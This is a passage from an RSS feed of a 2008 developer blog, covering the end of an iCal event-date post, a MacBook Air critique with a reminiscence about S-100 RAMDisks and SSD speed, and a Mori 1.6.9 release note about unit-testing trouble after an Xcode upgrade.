<p>Thinking about these two solutions it&#8217;s clear that picking the latter one, with well-formed properties, is the safest choice to make. <strong>Here&#8217;s additional proof:</strong> the first solution, the one which plays with the start date to make the event appear, will indeed make the event appear. But if there&#8217;s less than 24 hours until the event begins, <em>it will appear on the wrong date</em> and still require iCal to be restarted to appear in the proper location!</p>
<p>It just goes to show you, while you might be able to get away with just the barest minimum, and someone else might normally clean up after you, it&#8217;s best if you did the job correctly from the start in case your safety net disappears from under you.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/01/25/100/feed/</wfw:commentRss>
		</item>
		<item>
		<title>MacBookAir: Oh, the Compromises You&#8217;re Willing to Make Just to be Trendy.</title>
		<link>http://apokalypsesoftware.com/blog/2008/01/17/97/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/01/17/97/#comments</comments>
		<pubDate>Thu, 17 Jan 2008 21:38:03 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[apple]]></category>

		<category><![CDATA[macbookair]]></category>

		<category><![CDATA[nostalgia]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/01/17/97/</guid>
		<description><![CDATA[Wow. A lot of folks already have lists of what they don&#8217;t like about the MBA. So do I.


It isn&#8217;t a tablet.
The tablet interface opens up a whole new range of apps (just look at what changes the touchscreen interface has brought to the mobile market.) I could be so much more productive with a [...]]]></description>
			<content:encoded><![CDATA[<p>Wow. A lot of folks already have lists of what they don&#8217;t like about the MBA. So do I.</p>
<ul>
<li>
<h3>It isn&#8217;t a tablet.</h3>
<p>The tablet interface opens up a whole new range of apps (just look at what changes the touchscreen interface has brought to the mobile market.) I could be <em>so much more</em> productive with a tablet. <em>I promise</em>.</li>
<li>
<h3>Lack of replaceable battery.</h3>
<p>Will I be able to get to an outlet in five hours? Would I have been able to find a spare battery in three years&#8217; time when the charge goes down to 2?</li>
<li>
<h3>1.6GHz CPU?</h3>
<p>Are you kidding me? Weren&#8217;t we <a href='http://www.theregister.co.uk/2003/06/23/apple_launches_2ghz_64bit_power/'>looking forward</a> to the 3GHz PowerPC G5 more than <em>four years ago</em>?</li>
<li>
<h3>FireWire!</h3>
<p>Why has Apple abandoned the IEEE1394 spec it created?</li>
<li>
<h3>Gigabit Ethernet</h3>
<p>In fact, any ethernet at all! Something, at least, which has better performance than WiFi!</li>
</ul>
<p>Others complained about the hard drive capacity being only 80GB, and the solid-state drive (SSD) being so expensive. I don&#8217;t care. As a laptop, it wouldn&#8217;t be where I do the bulk of my work or computing. It would only be for away-from-the-desk computing.</p>
<p>When I saw the announcement, and the pics, I knew it was a computer for lightweights. It isn&#8217;t meant for power users. It isn&#8217;t meant for programmers. It&#8217;s meant for folks whose computing needs just aren&#8217;t driven by applications which demand horsepower.</p>
<p><a href='http://www.funkeemonk.com/blog/'>Joe Goh</a>, the developer behind <a href='http://www.funkeemonk.com/phonejournal/'>Phone Journal</a>, <a href='http://twitter.com/FunkeeMonk/statuses/602630642'>replied</a>, &#8220;Definitely not just trendy. Lots of people I know won&#8217;t carry a portable computer otherwise. Its going to be a hit with ladies&#8221;, which proves my point exactly. If you haven&#8217;t already needed to carry around a laptop, particularly one like the less expensive and more powerful MacBook, why would you start with this model?</p>
<p>So, although I saw that the userbase for the Mac was going to explode through the MBA, as a user, it just wasn&#8217;t my type of machine.</p>
<p>But as I was reading <a href='http://wilshipley.com/blog/2008/01/macbook-air-haters-suck-my-dick.html'>Wil Shipley&#8217;s take</a> on it, the notoriously name-dropping blogger and lead developer of <a href='http://www.delicious-monster.com/'>Delicious Library</a>, and how he was going to buy one for himself, I realized there was something special about that solid-state drive.</p>
<p><img src='http://apokalypsesoftware.com/wp-content/uploads/2008/01/140c_1.JPG' alt='256K Dynamic RAM S-100 Board' /></p>
<p>This is a picture of a 256K Dynamic RAM memory card for an S-100 computer. It&#8217;s the sort of thing we used back in the late 1970s. Typical of gadget freaks, it was more power than the CPU could directly handle, so the excess had to be put to use somehow: RAMDisk.</p>
<p>Back in those days, microcomputers generally used floppy drives: storage devices that stored information on portable media that resembled CD-Rs *inside* its jewelry case; except the floppies stored up to 800KB, looked dark brown because they were actually coated with rust, and were 5.25&#8243;-8&#8243; in size! These things were large, and slow. Things were better if you could afford the $3,000 for a 5MB hard drive because they were faster and stored a tad more info, but the majority of us users were stuck with the less-expensive, and slower, floppy drive.</p>
<p>Ah, but that extra RAM came in handy here. Once you loaded in some RAMDisk software onto your micro, your RAMDisk would give you performance that blew away even those speedy hard drives. Instead of putting up with the slow grinding-grinding of the floppy drive while you were working, the RAMDisk would buffer the data the first time it was read from the floppy, then blast it into application memory whenever it was needed. You would wonder just how well it worked when you didn&#8217;t hear the drives spinning and grinding as before, but when the results came up, you knew it worked fabulously.</p>
<p>And it wouldn&#8217;t take long for the results to appear. Performance was <em>thousands</em> times better. You wouldn&#8217;t have to go to lunch when you ran the assembler anymore. It was now fast enough to give you just enough time to grab some coffee. It was <em>that fast</em>.</p>
<p>The MBA&#8217;s optional SSD will give you that level of performance boost. While hard drives were a couple order of magnitudes faster than floppies, they were still orders of magnitude slower than RAM. While hard drives have improved in performance, so has RAM. Just as adding more RAM to your computer will give a bigger performance increase than adding a faster processor, substituting that power-draining, mechanical hard drive completely with a solid-state device will give a phenomenal performance gain.</p>
<p>While you might complain about 64GB being miniscule(!), the real caveat is that these flash devices that make up the SSD have a limited lifetime. 300K to 400K writes. That&#8217;s not a paltry amount, but it is still something to keep in mind.</p>
<p>So now that I think about it, the MBA has one significant advantage for one particular power-user niche: the developer. It doesn&#8217;t have the raw CPU horsepower we crave. It doesn&#8217;t have the ability to do gigabit ethernet connections to our networks. It doesn&#8217;t have separate communication busses for main and video memory. It doesn&#8217;t even have a tablet interface. But it <em>does</em> have a honkin&#8217; 64GB drive with <em>no moving parts</em>.</p>
<p>I guess when I get enough money, I&#8217;ll have to plunk down for an MBA after all. <em>After</em> they come out with a Rev. B. Hopefully, they&#8217;ll have a 128GB SSD option by then!</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/01/17/97/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mori v1.6.9 is Being Packaged for Release</title>
		<link>http://apokalypsesoftware.com/blog/2008/01/13/96/</link>
		<comments>http://apokalypsesoftware.com/blog/2008/01/13/96/#comments</comments>
		<pubDate>Sun, 13 Jan 2008 23:04:53 +0000</pubDate>
		<dc:creator>huperniketes</dc:creator>
		
		<category><![CDATA[Xcode]]></category>

		<category><![CDATA[bugs]]></category>

		<category><![CDATA[development]]></category>

		<category><![CDATA[mori]]></category>

		<category><![CDATA[process failure]]></category>

		<category><![CDATA[software]]></category>

		<category><![CDATA[unit tests]]></category>

		<guid isPermaLink="false">http://apokalypsesoftware.com/blog/2008/01/13/96/</guid>
		<description><![CDATA[This has taken much longer than I hoped for, and it lacks the features I wanted to add in there, but due to another empty-window bug I&#8217;m releasing Mori 1.6.9 today as a stopgap measure.
I had hoped for a quick release to get the fix out to those who are upgrading now (particularly from older, [...]]]></description>
			<content:encoded><![CDATA[<p>This has taken <em>much longer</em> than I hoped for, and it lacks the features I wanted to add in there, but due to another empty-window bug I&#8217;m releasing Mori 1.6.9 today as a stopgap measure.</p>
<p>I had hoped for a quick release to get the fix out to those who are upgrading now (particularly from older, Hog Bay Software versions), but I had upgraded my Xcode installation mid-stream, which is generally a bad idea if you can&#8217;t test the effects a tool migration will have on your projects. And Mori is quite unique in the way it&#8217;s constructed, being almost entirely plugins, and plugins which run plugins.</p>
<p>It took a week to resolve unit testing problems, some of which were due to Mori&#8217;s unique project files, some of which were due to changes in the layout of Xcode&#8217;s tools directories and one due to a bug in the unit tests for the &#8216;Check and Repair Notebooks&#8217; functionality (which I wasn&#8217;t going to risk going out with a bug whose cause I hadn&#8217;t determined).</p>
<p>Anyway, testing problems aside, I&#8217;m packaging the latest for release now. You&#8217;ll be able to read the <a href='http://apokalypsesoftware.com/products/mori/releasenotes'>release info</a> shortly.</p>
]]></content:encoded>
			<wfw:commentRss>http://apokalypsesoftware.com/blog/2008/01/13/96/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
